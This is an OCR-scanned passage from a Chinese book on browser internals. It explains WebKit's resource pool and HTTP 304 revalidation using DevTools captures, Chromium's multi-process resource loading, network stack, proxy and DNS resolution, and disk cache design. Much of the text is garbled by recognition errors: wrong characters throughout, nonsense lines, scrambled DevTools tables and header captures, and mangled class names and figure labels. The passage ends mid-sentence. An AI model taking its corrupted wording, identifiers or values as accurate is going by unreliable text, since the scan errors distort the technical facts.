因为 主线 程 被 阻碍 了 ， 后 面 的 解析 工作 没有 办 法 继续 往 下 进行 ， 所 
以 对 于 HTML 网 页 中 后 面 使 用 的 资源 也 没有 办 法 知道 并 发 送 下 载 请 求 。 
当 遇 到 这 种 情况 的 时 候 ，WebKit 的 做 法 是 这 样 的 : 当前 的 主线 程 被 阻碍 
时 ，WebKit 会 启动 另外 一 个 线程 去 遍历 后 面 的 HIML 了 网页， 收集 需要 的 
资源 URL， 然 后 发 送 请 求 ， 这 样 就 可 以 避免 被 阻碍 。 与 此 同时 ，WebKit 


能 够 并 发 下 载 这 些 资源 ， 甚 至 并 及 下 载 JavaScript 代 码 资源 。 这 种 机 制 对 
于 网 页 的 加 载 提 速 很 是 明显 。 


4.1.5 资源 的 生命 周期 


同 CachedResourceLoader 对 象 一 样 ， 资 源 池 也 属于 HTML 文 档 对 
象 。 关 于 HTML 文 档 ， 前 面 笔者 在 介绍 网 页 框 结构 的 时 候 提 到 过 。 


问题 来 了 ， 资 源 池 中 的 资源 生命 周期 是 什么 呢 ? 资源 池 不 能 无 限 
大 ， 必 须要 用 相应 的 机 制 来 殖 换 其 中 的 资源 ， 从 而 加 入 新 的 资源 。 资 源 
池 使 用 的 机 制 其 实 很 简单 ， 就 是 采用 LRU (Least Recent Used 最 近 最 少 
使 用 ) 算法 。 


为 一 方面 ， 当 一 个 资源 加 载 后 ， 通 党 它 会 被 放 入 资源 池 ， 以 便 之 后 
使 用 。 问 题 是 ，WebKit 如 何 判断 下 次 使 用 的 时 候 是 否 需要 更 新 该 资源 从 
而 对 服务 咒 重 新 请 求 呢 ? 因为 服务 器 可 能 在 茶 段 时 间 之 后 更 新 了 该 资 
源 。 





考虑 这 样 的 场景 ， 当 用 户 打 开 网 页 后 ， 他 想 刷新 当前 的 页 面 。 这 种 
情况 下 ， 资 源 池 会 出 现 怎样 的 情况 呢 ? 是 清除 所 有 的 资源 ， 重 新 获得 
E? 还 是 直接 利用 当前 的 资源 ? 都 不 是 。 对 于 某 些 资源 ，WebKit 需 要 直 
接 重新 发 送 请 求 ， 要 求 服 务 器 端 将 内 容重 新 发 送 过 来 。 但 对 于 很 多 资 
源 ，WebKit 则 可 以 利用 HTTP 协 议 减 少 网 络 负 载 。 在 HTTP 协 议 的 规范 中 
对 此 有 规定 ， 浏 览 器 可 以 发 送 消 息 确 认 是 否 需 要 更 新 ， 如 果 有 ， 浏 览 占 
则 重新 获取 该 资源 ;否则 就 需要 利用 该 资源 。 














WebKit ite, ACAD RUE SERIE, WR, MAR 


送 一 个 HTTP 请 求 给 服务 器 ， 说 明 该 资源 在 本 地 的 一 些 信 息 ， 例 如 该 资 
源 什么 时 间 修 改 的 ， 服 务 器 则 根据 该 信息 作 判 断 ， 如 果 没 有 更 新 ， 服 务 
需 则 发 送 回 状态 码 304， 表 明 无 需 更 新 ， 那 么 直接 利用 资源 池 中 原来 的 
资源 ;否则 ，WebKit 申 请 下 载 最 新 的 资源 内 容 。 


41.6 KER: 资源 的 缓存 


下 面 笔者 以 实际 的 例子 来 说 明 资 源 的 缓存 机 制 。 因 为 Chrom 浏 览 器 
的 开发 者 工具 可 以 设置 打开 或 者 关闭 该 机 制 ， 所 以 ， 读 者 可 以 很 方便 地 
理解 资源 的 缓存 机 制 ， 有 具体 步 又 如 下 。 


1. 依旧 打开 Chrome 浏 览 器 和 它 的 开发 者 工具 ， 然 后 在 地 址 栏 中 输入 
www.baidu.com 并 单 击 开 发 者 工具 的 “network” 按 钮 。 

2. 打开 开发 者 工具 的 “设置 ”按钮 ， 在 “General” 标 签 页 中 的 “Disable 
Cache” 前 打 钓 ， 然 后 关 挥 设置 界面 。 

3. 重新 刷新 页 面 ( 或 者 按键 盘 F5 键 〉， 得 到 图 4-7 所 示 的 结果 。 特 别 
要 关注 的 是 资源 “bdlogo.gif”， 单 击 它 可 以 看 到 该 资源 的 HTTP 请 求 
和 HTTP 返 回 结果 。 从 图 中 读者 看 到 ，“bdlogo.gif? 成 功 地 被 浏览 器 
重新 从 网 络 申请 到 了 资源 。 


Elements Resources | Network | Sources Timeline Profiles Audits Console PageSpeed 








Name Status = Size Time 
Path Methods Text Type Initiator Content | Latency 
: D 4 
a www.baidu.com GET aa hini Üt ake sioa 
==) Q Ub > t ms 
| bdlogo.gif 200 ` fee www. baidu.com/:1 1.8KB 12ms 
=) /img = Ok eee Parser 1.5KB 11 ms 
i-1.0.0.png 200 a ; www.baidu.com/:1 918B 12ms 
L /img sH OK TEIR bag Parser 607 B 11 ms 
| gs.gif 200 2 pe www. baidu.com/:1 400B 12ms 
LÆ /cache/global/img Bet Ok agoia Parser 91B 12ms 
home_f949edf5.js 200 ae kes . 7 www.baidu.com/:1 9.1 KB 883 ms 
i GET 5 application/javascript ~ i arin 
E s1.bdstatic.com/r/www/cache, Ok Parser 28.0 KB 870 ms 
tangram-1.3.4c1.0_070384... 200 See . 7 www.baidu.com/:1 8.4KB 875 ms 
A A y heen “a application/javascript baa Pe ping 
E s1.bds .com/t/www/ cache Ok Parser 22.0 KB 873 ms 
u_T5caac89,js 200 PENAS . 7 www.baidu.com/:1 4,.0KB 879ms 
ENE ea ay OE ne application/javascript = Sines Sa, 
SJ s1.bdstatic.com/r/www/ cache Parser 9.8 KB 878 ms 
| su?wd=&cb=window.bdsug... 200 : i home f949edf5.js:23 259B 150 ms 
‘= J suggestion.baidu.com GET Ok baiduapp/json Script 48B 149 ms 


图 4-7 不 带 资源 缓存 的 资源 加 载 


4. 打开 开发 者 工具 的 “设置 ”按钮 ， 在 “General”* 页 中 把 “Disable 
Cache” 前 的 钩 去 掉 ， 然 后 关 掉 设置 界面 。 

5. 重新 刷新 页 面 ， 就 会 得 到 如 图 4-8 所 示 的 结果 。 继 续 关 注资 
源 “bdlogo.gif?， 恋 者 会 发 现 它 的 状态 码 变 成 304， 表 明 资 源 没有 发 
生 改 变 ， 可 直接 利用 资源 池 中 的 资源 。 是 什么 带 来 第 3 步 和 第 5 步 中 
的 差别 呢 ? 原因 在 于 打开 或 者 关闭 “cache” 机 制 。 在 这 两 种 不 同 的 条 
件 下 ，WebKit 会 发 送 不 同 的 HTTP 头 来 请 求 资 源 。 图 4-9 告 诉 读者 这 
发 生 的 一 切 ， 图 中 左边 表示 的 是 第 3 步 中 的 资源 请 求 HTTP 头 ， 而 图 
中 右边 表示 的 则 是 第 5 步 中 的 资源 请 求 HTTP 头 ， 注 意 其 中 加 粗 的 部 
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Name Status ae Size Time 
Path Methods Text Type Initiator Content | Latency 
=| www.baidu. 200 : 4.8KB 33 
<> ekdu.com GET A text/html Other es = ys 
es] OK 10.6KB 20 ms 
_ | bdlogo.gif 304 s 3 www.baidu.com/:1 10ms 
La /img SE Not Mox mage Parser 10ms 
| i-4.0.0.png 304 > www.baidu.com/:1 11 ms 
Lal /img sa Not Mot image) png Parser 60 10 ms 
| gs.gif 304 g a www, baidu.com/:1 206B Tims 
LS /cache/global/img GET Not Mor image/gif Parser 91B 10ms 
| home_f949edf5.js GET 304 lication/; sot www, baidu.com/:1 334B 862 ms 
E s1.bdstatic.com/r/www/cache, Not Mar | PPP" caton Javascript | parser 28.0 KB 851 ms 
=] tangram-1.3.4c1.0_070384... GET 304 lication/j ipt www.baidu.com/:1 334B 856 ms 
(SJ s1.bdstatic.com/t/www/cache/ Not Moc apPP'ca onJavascrp parser 22.0KB 850 ms 
| u_75caac89.js GET 304 Keaton at www.baidu.com/:1 334B 860 ms 
= s1.bdstatic.com/r/www/ cache Not Moc aPP'ca onjJavascnp | parser 9.8KB 853 ms 
z] su?wd=&cb=window.bdsug... GET 200 baid fi home £949edf5,js:23 259B 148 ms 
= suggestion.baidu.com OK raat Script 48B 148 ms 


图 4-8 带 资源 缓存 的 资源 加 载 结 








URL:http://www.baidu.com/img/bdlogo.gif 
Request Method:GET 

Status Code:200 OK 

Request Headersview source 
Accept:image/webp,*/*;q=0.8 
Accept-Encoding:gzip,deflate, sdch 


Accept-Language:en-US,en;q=0.8 





Cache-Control:no-cache 
Connection:keep-alive 

Cookie: BAIDUID=B0 6BA5D4D824BEF330014A3BD 
57F570E:FG=1; BDSVRTM=18; 

H PS PSSID=2490 2501 1447 2487 1788 2548 
_2249 





Host: www.baidu.com 

Pragma:no-cache 
Referer:http://www.baidu.com/ 

User-Agent :Mozilla/5.0 (X11; Linux x86 64) 
AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/29.0.1502.0 Safari/537.36 


Request Method:GET 
Status Code:304 Not Modified 
Request Headersview source 


Accep 





t:image/webp, */*;q=0.8 
Accept-Encoding: gzip,deflate, 


Cache-Control:max-age=0 


Connection: keep-alive 


57F570E:FG=1; BDSVRTM=5; 


URL:http://www.baidu.com/img/bdlogo.gif 


sdch 





Accept-Language:en-US, en; q=0.8 


Cookie: BAIDUID=B0 6BA5D4D82 4BEF330014A3BD 


H PS PSSID=2490 2501 1447 2487_1788 2548 





2249 


Host: www.baidu.com 


GMT 


AppleWebKit/537.36 (KHTML, 








If-Modified-Since:Fri, 22 Feb 2013 03:45:02 


If-None-Match: "627-4d648041f6b80" 
Referer:http://www.baidu.com/ 
User-Agent :Mozilla/5.0 (X11; Linux x86 _ 64) 


like Gecko) 


Chrome/29.0.1502.0 Safari/537.36 





图 4-9 ”两 种 不 同类 型 的 HTTP 消 息 请 求 





那么 ， 当 用 户 单 击 “ 关 闭 缓存 ”按钮 的 时 候 ，WebKit 背 后 在 做 什么 
We? 图 4-10 解 释 了 内 部 的 工作 方式 。 最 上 面 的 是 Chrom 的 开发 者 工具 
(DevTools) 直接 清除 掉 MemoryCache 对 象 中 的 所 有 资源 ， 
MemoryCache 对 象 是 全 局 唯一 的 。 在 清除 挥 该 对 象 中 的 资源 之 后 ， 
WebKiti7% ARRET A PLA 所 以 ， 经 过 上 面 的 第 三 步 之 后 
WebKit 会 打开 绥 存 机 制 。 这 是 因为 在 执行 第 三 步 的 时 候 ，WebKit 会 先 


清除 掉 资 源 池 中 的 资源 ， 而 本 身 第 三 步 的 资源 则 会 保存 在 资源 池 中 ， 并 
立刻 生效 。 所 以 之 后 执行 第 五 步 时 ，WebKit 立 刻 就 可 以 使 用 第 三 步 缓存 





WebKit::WebDevToolsAgentImpl::dispatchOnInspectorBackend 


WebCore::InspectorController::dispatch MessageFromFrontend 


WebCore::InspectorBackendDispatcherlmpl::Network_setCacheDisabled 


WebCore::InspectorBackendDispatcherlmpl::dispatch 


WebCore::InspectorResourceA gent::setCacheDisabled 


WebCore::MemoryCache::evictResources 


WebCore::MemoryCache::setDisabled 





图 4-10 设置 取消 缓存 的 调用 栈 


4.2 ”Chromium 多 进程 资源 加 和 载 
4.2.1 多 进程 


资源 的 实际 加 载 在 各 个 WebKit 移 植 中 有 不 同 的 实现 。Chromium 采 
用 的 是 多 进程 的 资源 加 载 机 制 。 


回顾 图 4-6 关 于 带 有 资源 缓存 机 制 的 资源 加 载 过 程 描述 ， 在 
ResourceHandle 类 之 下 的 部 分 ， 是 不 同 移植 对 获取 资源 的 不 同 实 现 。 在 
Chromium 中 ， 获 取 资 源 的 方式 是 利用 多 进程 的 资源 加 载 架构 。 图 4-11， 
描述 了 关于 Chromium 如 何 利 用 多 进程 架构 来 完成 资源 的 加 载 ， 主 要 是 
多 个 Renderer 进 程 和 Browser 进 程 之 间 的 调用 栈 涉及 的 主要 类 。 


net:: URLRequest 


content::ResourceLoader 


ResourceDispatcherHostImpl 


ResourceMessageF ilter 


IOThread Browser 进程 


IOThread 
ResourceDispatcher 


IPCResourceLoaderBridge 


WebKit/Chromium WebURLLoaderImpl 
实现 
ResourceHandlelInternal 
Weatare ResourceHandle Renderer 进程 








图 4-11 Chromium 的 多 进程 资源 加 载 


Renderer 进 程 在 网 页 的 加 载 过 程 中 需要 获取 资源 ， 但 是 由 于 安全 性 
《实际 上 ， 当 沙 箱 模型 打开 的 时 候 ，Renderer 进 程 是 没有 权限 去 获取 资 
源 的 ) 和 效率 上 《资源 共享 等 问题 ) 的 考虑 ，Renderer 进 程 的 资源 获取 
实际 上 是 通过 进程 间 通 信 将 任务 交 给 Browser 进 程 来 完成 ，Browser 进 程 
有 权限 从 网 络 或 者 本 地 获取 资源 。 





在 Chromium 架 构 的 Renderer 进 程 中 ，ResourceHandleInternal 类 通过 
IPCResource-LoaderBridge 类 同 Browser 进 程 通信 。 
IPCResourceLoaderBridge 类 继承 自 ResourceLoaderBridge 类 ， 其 作用 是 负 
员 发 起 请 求 的 对 象 和 回复 结果 的 解释 工作 ， 实 际 消 恩 的 接收 和 派发 交 给 
ResourceDispatcher 类 来 处 理 。 


在 Browser 进 程 中 ， 首 先 由 ResourceMessageFilter 类 来 过 滤 Renderer 





进程 的 消息 ， 如 果 与 资源 请 求 相 关 ， 则 该 过 滤 类 转发 请 求 给 
ResourceDispatcherHostImpl 类 ， 随 即 ResourceDispatcherHostImpl 类 创建 
Browser 进 程 中 的 ResourceLoader 对 象 来 处 理 。ResourceLoader 类 是 
Chromium 浏 览 器 实际 的 资源 加 载 类 ， 它 负 员 管理 问 网 络 发 起 的 请 求 、 

从 网 络 接收 过 来 的 认证 请 求 、 请 求 的 回复 管理 等 工作 。 因 为 这 其 中 每 项 
都 有 专门 的 类 来 负责 ， 但 都 是 由 ResourceLoader 类 统一 管理 。 从 网 络 或 
者 本 地 文件 读 取 信息 的 是 URLRequest 类 ， 实 际 上 它 承担 了 建立 网 络 连 
接 、 发 送 请 求 数据 和 接受 回复 数据 的 任务 ，URLRequest 之 后 的 工作 将 
在 “网 络 栈 ? 章 节 中 来 解读 。 


4.2.2 ”工作 方式 和 资源 共享 


资源 请 求 有 同步 和 措 步 两 种 方式 。 前 面 说 了 ResourceLoader 类 承担 
了 Browser 进 程 中 有 关 资 源 的 总 体 管 理 任 务 ， 对 于 同步 和 异步 两 种 资源 
请 求 方式 ，ResourceLoader 类 使 用 SyncResourceHandle 类 和 
AsyncResourceHandle 类 来 向 Renderer 进 程 发 送 状 态 消息 ， 并 接收 
Renderer 进 程 对 这 些 消息 的 反馈 ， 图 4-12 描 述 了 这 些 类 之 间 的 关系 。 


ResourceHandle SyncResourceHandle 
-OnUploadProgress() 


-OnRequestRedirected() 


-OnResponseStarted() AsyncResourceHandle 
-OnReadCompleted() 


-OnResponseCompleted() 
-OnDataDownloaded() LayeredResourceHandle 
BufferedResourceHandle 






















ThrottlingResourceHandle 


图 4-12 ResourceHandle 及 其 资源 请 求 方式 


读者 还 会 发 现 图 4-12 中 还 有 两 个 ResourceHandle 子 类 ， 第 一 个 是 
LayeredResourceHandle 类 ， 它 同 SyncResourceHandle 类 和 
AsyncResourceHandle 类 不 一 样 ， 自 己 不 直接 参与 资源 的 处 理 ， 而 是 将 处 
理 转 给 另 一 个 ResourceHandle 对 象 。LayeredResourceHandle 类 没有 实际 
意义 ， 仅 是 BufferedResourceHandle 的 父 类 。 该 缓冲 类 用 来 缓冲 网 络 或 者 
文件 传 过 来 的 数据 ， 直 到 数据 足够 满足 需求 然后 转 给 设置 的 另 一 个 
ResourceHandle 对 象 。Throttling-ResourceHandle 类 是 在 面 对 很 多 个 资源 
请 求 时 仅 使 用 一 个 URLRequest 对 象 来 获取 资源 ， 这 可 以 有 效 地 减少 网 
络 的 开销 ， 因 为 不 需要 重新 建立 多 个 网 络 连接 。 











此 外 ， 在 Chromium 中 还 有 很 多 ResourceHandle 的 子 类 ， 它 们 的 作用 
各 异 。 


e RedirectToFileResourceHandler: 2k 7K H LayeredResourceHandle 
， 在 接收 到 的 数据 转 给 另 一 个 ResourceHandler 类 的 同时 ， 转 存 到 
xc : 
。 StreamResourceHandler: #47 H LayeredResourceHandle2e, Æ% 
收 到 的 数据 转 给 另 一 个 ResourceHandler 的 同时 ， 转 存 到 数据 流 。 
e CertificateResourceHandler: 主要 处 理 证 书 类 的 资源 请 求 。 


资源 统一 交 由 Browser 进 程 来 处 理 ， 这 使 得 资源 在 不 同 网 页 间 的 共 
享 变 得 很 容易 。 接 下 来 面临 一 个 问题 ， 因 为 每 个 Renderer 进 程 某 段 时 间 
内 可 能 有 多 个 请 求 ， 同 时 还 有 多 个 Renderer 进 程 ， Browsen ta 需要 处 理 
大 量 的 资源 请 求 ， 这 就 需要 一 个 处 理 这 些 请 求 的 调度 占 ， 这 就 是 

Chromium 中 的 ResourceScheduler。 














ResourceScheduler 类 管理 的 对 象 就 是 图 4-11 中 最 顶层 类 
net::URLRequest 对 象 。ResourceScheduler 类 根据 URLRequest 的 标记 和 优 
先 级 来 调度 URLRequest 对 象 ， 每 个 URLRequest 对 象 都 有 一 个 ChildId 和 
RouteId 来 标记 属于 哪个 Renderer 进 程 。ResourceScheduler 类 中 有 一 个 哈 
希 表 ， 该 表 按 照 进 程 来 组 织 URLRequest 对 象 。 对 于 以 下 类 型 的 网 络 请 
求 ， 立 即 被 Chromium 发 出 : 中 高 优先 级 的 请 求 ， 思 同 步 请 求 ， 具有 
SPDY (一 种 新 协议 ) 能 力 的 服务 器 。 


以 上 讨论 部 分 的 代码 均 在 Chromium 的 目 
录 “content/browser/loader”* 中 ， 感 兴趣 的 读者 可 以 自行 深入 了 解 。 


4.3 网 络 栈 


4.3.1 WebKit 的 网 络 设施 


WebKit 的 资源 加 载 其 实 是 交 由 各 个 移植 来 实现 的 ， 所 以 WebCore 其 
实 并 没有 什么 特别 的 基础 设施 ， 每 个 移植 的 网 络 实现 是 非常 不 一 样 的 。 


从 WebKit 的 代码 结构 中 可 以 看 出 ， 网 络 部 分 代码 的 确 是 比较 少 的 ， 
它们 都 在 目录 “WebKit/Source/WebCore/platform/network” 中 。 主 要 是 一 
些 HTTP 消 息 涉 、MIME 消 息 、 状 态 人 码 等 信息 的 描述 和 处 理 ， 没 有 实质 
的 网 络 连接 和 各 种 针对 网 络 的 优化 。 





4.3.2 Chromium 网络 栈 


前 面 讲 到 资源 加 载 ， 描 述 到 URLRequest 类 的 时 候 夏 然而 止 ， 这 是 
因为 URLRequest 类 之 下 的 部 分 是 网 络 栈 的 内 容 ， 本 节 重 点 描述 
Chromium 的 网 络 栈 结 构 。 





4.3.2.1 网络 栈 基本 组 成 


读者 想 要 了 解 Chromium 中 网 络 栈 的 基本 组 成 ， 其 实 这 一 结构 并 不 
复杂 ， 可 以 通过 代码 目录 直接 观察 到 ， 图 4-13 是 “net” 所 包括 的 主要 子 日 
录 ， 也 是 Chromium 网 络 栈 的 主要 模块 。 





sre/net 





android 针对 Android 系统 的 特殊 网 络 处 理 

base 各 种 各 样 的 基础 设施 

cert 证 书 管理 模块 

cookies 浏览 器 cookie 管理 等 工作 

disk cache 做 盘 文 件 缓存 

dns 域名 解析 和 优化 

ftp 文 持 FTP 协议 传输 

http 支持 HTTP 协议 传输 

proxy 代理 的 相关 设置 代码 

quic 针对 UDP 协议 进行 优化 的 新 协议 

socket 各 种 平台 的 TCP socket 的 连接 、 关 闭 等 工作 
spdy SPDY 网 络 协议 的 支持 代码 

ssl SSL 安全 机 人 制 的 支持 

udp Udp 协议 传输 

url request 支持 URLRequest, URLRequestContext 和 URLRequestJob 等 主要 类 
websockets 支持 HTMLS 新 规范 WebSockets 


图 4-13 Chromium 网 络 模块 的 代码 结构 


这 里 面 除 了 一 些 基础 的 部 分 ， 例 如 HTTP 协 议 、DNS 解 析 等 模块 ， 
还 包含 了 Chromium 为 了 减少 网 络 时 间 而 引入 的 新 技术 ， 例 如 SPDY、 
QUIC 等 。 


4.3.2.2 ”网 络 栈 结构 


下 面 进行 Chromium 的 网 络 栈 调用 过 程 剂 析 。 该 者 可 以 先 碍 看 一 
下 “net" 目 录 下 的 子 目 录 ， 大 致 了 解 主要 的 子 模块 。 图 4-14 描 述 了 从 





URLRequest 类 到 Socket 类 之 间 的 调用 过 程 。 以 HTTP 协 议 为 例 ， 图 中 列 
出 建立 TCP 的 socket 连 接 过 程 中 涉及 的 类 。 


图 4-14 网 络 栈 的 调用 过 程 剖 析 



















首先 是 URLRequest 类 被 上 层 调 用 并 局 动 请 求 的 时 候 ， 它 会 根据 
URL 的 “scheme” 来 决定 需要 创建 什么 类 型 的 请 求 。“scheme” 也 就 是 URL 
的 协议 类 型 ， 例 如 “http:/”、*“file:/”， 也 可 以 是 自 定 义 的 scheme， 例 如 
Android 系 统 的 “file://android_asset/”。URLRequest 对 象 创建 的 是 一 个 
URLRequestJob 子 类 的 一 个 对 象 ， 例 如 图 中 的 URLRequestHttpJob 类 。 为 
TLF HEX scheme EFI, Chromium H L) FE. 
URLRequestJob 类 和 它 的 工厂 类 URLRequestJobFactory 的 管理 工作 都 由 
URLRequestJobManager 类 人 负责。 基本 的 思路 是 ， 用 户 可 以 在 该 类 中 注册 
多 个 工厂 ， 当 有 URLRequest 请 求 时 ， 先 由 工厂 检查 它 是 否 需 要 处 理 
该 <scheme”， 如 果 没 有 ， 工 三 管理 类 继续 交 给 下 一 个 工矿 类 来 处 理 。 最 
后 ， 如 果 没 有 任何 工厂 能 够 处 理 ，Chromium 则 交 给 内 置 的 工厂 来 检查 
和 处 理 是 否 为 “http:/”、“ftp://* 或 者 “file:/* 和 等， 图 4-15 用 来 描述 这 些 类 的 
关系 。 

















URLRequest 
<c >> 


URLRequestJobFactory 


+IsHandledProtocol } URLRequestJob 


A 


AURLRequestJobFactory URLRequestHttpJob 


图 4-15 ”URLRequestJob 的 管理 、 创 建 和 扩展 








其 次 ， 当 URLRequestHttpJob 对 象 被 创建 后 ， 该 对 象 首 先 从 Cookie 
管理 器 中 获取 与 该 URL 相 关联 的 信息 。 之 后 ， 它 同样 借助 于 
HttpTransactionFactory 对 象 创建 一 个 HttpTransaction 对 象 来 表示 开启 一 个 
HTTP 连 接 的 事务 (当然 这 里 的 概念 不 同 于 数据 库 中 的 事务 概念 ) 。 通 
常情 况 下 ，HttpTransactionFactory 对 象 对 应 的 是 一 个 它 的 子 类 HttpCache 
对 象 。HttpCache 类 使 用 本 地 磁盘 绥 存 机 制 〈 稍 后 会 介绍 ) ， 如 果 该 请 
求 对 应 的 回复 已 经 在 磁盘 缓存 中 ， 那 么 Chromium 无 需 再 建立 
HttpTransaction 来 发 起 连接 ， 而 是 直接 从 磁盘 中 获取 即 可 。 如 果 磁 盘 中 
没有 该 URE 的 缓存 ， 同 时 如 果 目 前 该 URL 请 求 对 应 的 HttpTransaction 已 
经 建立 ， 那 么 只 要 等 待 它 的 回复 即 可 。 当 这 些 条 件 都 不 满足 的 时 候 ， 
Chromium 实 际 上 才 会 真正 创建 HttpTransaction 对 象 。 





再 次 ，HttpNetworkTransaction 类 使 用 HttpNetworkSession 类 来 管理 
连接 会 话 。HttpNetworkSession 类 通过 它 的 成 员 HttpStreamFactory 对 象 来 
建立 TCP Socket 连 接 ， 之 后 Chromium 创 建 HttpStream 对 象 。 
HttpStreamFactory 对 象 将 和 网 络 之 间 的 数据 读 写 交 给 上 自己 新 创建 的 一 个 
HttpStream 子 类 的 对 象 来 处 理 。 




















最 后 是 套 接 字 的 建立 。Chromium 中 与 服务 器 建立 连接 的 套 接 字 是 
StreamSocket 类 ， 它 是 一 个 抽象 类 ， 在 POSIX 系 统 和 Windows 系 统 上 有 


着 分 别 不 同 的 实现 。 同 时 ， 为 了 支持 SSL 机 制 ，StreamSocket 类 还 有 一 
个 子 类 一 一 SSLSocket。 图 4-16 显 示 了 这 些 类 和 它们 之 间 的 关系 。 





TCPClientSocketLibevent TCPClientSocketWin 





Y 


A A^ 


BufferedWriteStreamSocket SSLSocket 





图 4-16 StreamSocket 类 和 子 类 


4.3.2.3 ”代理 


当 用 户 设置 代理 时 ， 上 面 的 网 络 栈 结构 是 如 何 组 织 的 呢 ? 用 户 代 理 
依赖 以 下 类 来 处 理 。 


e ProxyService: 对 于 一 个 URL，HttpStreamFactory 类 使 用 

ProxyService 类 来 获取 代理 信息 。ProxyService 类 首先 会 检查 当前 的 

代理 设置 是 不 是 最 新 的 ， 如 果 不 是 ， 它 依赖 ProxyConfigService 来 重 

新 获取 代理 信息 。 该 类 不 处 理 实际 任务 ， 而 是 使 用 ProxyResolver 类 

来 做 实际 的 代理 工作 。 

ProxyConfigService: ”获取 代理 信息 的 类 ， 可 获取 平台 上 的 代理 设 

置 ， 在 Linux、Windows 上 有 不 同 的 实现 。 

e ProxyScriptFetcher: ” Chromium 支持 代理 的 JavaScript 肢 本， 该 类 负 
责 从 代理 的 URL 中 获取 该 脚本 。 

。 ProxyResolver: ”实际 负 贡 代理 的 解释 和 执行 ,通常 局 用 新 的 线程 











来 处 理 ， 因 为 当前 可 能 会 被 域名 的 解析 所 阻碍 。 
e ProxyResolverV8: ”ProxyResolver 的 子 类 ， 使 用 V8 引 敬 来 解析 和 执 
行 脚本 。 





图 4-17 不 仅 描述 上 面 这 些 类 ， 同 时 也 描述 了 Chromium 中 获取 网 络 代 
理 的 过 程 。 图 中 数字 代表 获取 网 络 代 理 的 次 序 ， 其 中 的 分 文 3.1 和 4.1 分 
别 表 示 简 单 的 代理 设置 和 代理 脚本 设置 的 处 理 过 程 。 


系统 代理 设置 





图 4-17 网 络 代理 的 获取 过 程 


4.3.2.4 ”域名 解析 (DNS) 


通常 情况 下 ， 用 户 都 是 使 用 域名 来 访问 网 络 资源 的 ， 所 以 在 建立 
TCP 连 接 前 需要 解析 域名 。Chromium 中 使 用 HostResolverImpl 类 来 解析 
域名 ， 有 具体 调用 的 函数 是 “getaddrinfo0>”， 该 函数 是 一 个 阻塞 式 的 函数 ， 
所 以 Chromium 理 所 当然 使 用 单独 的 线程 来 处 理 它 ， 这 是 Chromium 的 原 
则 之 一 。 因 此 ， 当 读者 调试 Chromium 的 进程 时 ， 如 果 看 到 很 多 线程 被 
创建 然后 退出 不 必 感 到 惊讶 。 


同样 ， 为 了 考虑 效率 ， 使 用 HostCache 类 来 保存 解析 后 的 域名 ， 最 
多 时 会 有 多 达 1000 个 的 域名 和 地 址 映射 关系 会 被 存储 起 来 。 看 起 来 DNS 
的 解析 很 简单 ， 好 像 也 没有 什么 值得 深究 的 ， 其 实 不 然 ， 域 名 解析 也 可 


以 有 优化 的 空间 ， 因 为 优化 可 以 有 效 的 减少 用 户 等 等 的 时 间 ， 稍 后 会 介 
绍 DNS 预 解析 机 制 |。 


读者 如 果 想 要 了 解 当 前 域名 解析 详情 和 HostCache 中 的 信息 ， 可 以 
通过 在 Chrome 浏 览 器 的 地 址 栏 中 输入 chrome://net-internals/#dns 来 查 
看 ， 你 甚至 可 以 手动 将 它们 清除 挥 。 图 4-18 是 HostCache 中 的 部 分 项 ， 
限于 篇 幅 ， 没 有 全 部 列 出 ， 读 者 可 以 自行 和 尝试。 图 中 最 上 面 的 “Clear 
host cache” 按 钮 就 是 用 来 清除 缓存 中 的 信息 的 。 








Host resolver cache Clear host cache 
e Capacity: 1000 
Current State 


e Active entries: 0 
è Expired entries: 74 








Hostname Family Addresses Expires 
| 1-ps.googleusercontent.com PV4 =| 173.194.72.132 2013-06-08 21:31:05.744 [Expired] 
| 123.58.176.123 








| 
|126.am PV4 | 123,58.179.193 2013-06-08 21:30:42.621 [Expired] 
| 123.58.176.122 


| 203.208.46.187 
|ad-apac.doubleclick.net pug |20320946:18 2013-06-08 21:30:38.625 
| 





203.208.46.188 LERS 
74.125.31.101 
74.125.31.113 
74.125.31.139 
74.125.31.138 
| 74.125.31.102 
| 74.125.31.100 








| 
|apis.google.com 2013-06-08 21:31:08.414 [Expired] 

















图 4-18 Chromium 的 HostCache 信 息 节选 


4.3.3 ”磁盘 本 地 缓存 


想象 一 下 没有 磁盘 缓存 的 世界 一 一 当 用 户 访问 网 页 的 时 候 ， 每 次 浏 
览 吉 都 需要 从 网 站 下 载 网 页 、 图 片 、JS 等 资源 ， 这 其 实 费 力 又 不 讨好 。 
解雇 这 一 问题 的 方法 就 是 将 之 前 浏览 器 下 载 的 资源 保存 下 来 ， 存 到 磁盘 
中 ， 以 备 今后 使 用 。 当 然 ， 资 源 是 有 时 效 性 的 ， 也 会 变 得 不 再 有 效 ， 所 
以 需要 有 相应 的 退出 机 制 来 解决 这 一 问题 。 目 前 ， 绝 大 多 数 浏览 器 都 有 

















磁盘 缓存 机 制 ， 因 为 缓存 机 制 确实 能 够 提高 网 页 的 加 载 速 度 。 
4.3.3.1 ”特性 


为 了 适应 网 络 资源 的 本 地 缓存 需求 ，Chromium 的 本 地 破 盘 缓存 有 
几 个 特性 或 者 要 求 。 








虽然 需要 缓存 的 资源 可 能 很 多 ， 但 磁盘 空间 不 是 无 限 大 的 ， 所 以 必 
须要 有 相应 的 机 制 来 移 除 合适 的 缓存 资源 ， 以 便 加 入 新 的 资源 。 
能 够 确保 在 浏览 器 朋 演 时 不 破坏 磁盘 文件 ， 至 少 能 够 保护 原先 在 磁 
盘 中 的 数据 。 

能 够 高 效 和 快速 地 访问 磁盘 中 现 有 的 数据 结构 ， 文 持 同步 和 异步 
种 访问 方式 。 

能 够 避免 同时 存储 两 个 相同 的 资源 。 

能 够 很 方便 地 从 磁盘 中 删除 一 个 项 ， 同 时 可 以 在 操作 一 个 项 的 时 候 
不 受 其 他 请 求 的 影响 。 

磁盘 不 支持 多 线程 访问 ， 所 以 需要 把 所 有 磁盘 缓存 的 操作 放 入 单独 
的 一 个 线程 。 

升级 版 本 时 ， 如 果 磁 盘 缓存 的 内 部 存储 结构 发 生 改变 ，Chromium 
仍然 能 够 文 持 老 版 本 的 结构 。 





这 些 既 是 本 地 磁盘 绥 存 的 需要 ， 同 时 也 是 Chromium 的 设计 目标 ， 
让 我 们 一 起 看 看 下 面 介绍 的 结构 是 如 何 做 到 这 些 的 。 


4.3.3.2 ”结构 











在 理解 内 部 结构 之 前 ， 首 先 来 看 一 看 这 一 机 制 对 外 的 接口 设计 ， 笔 
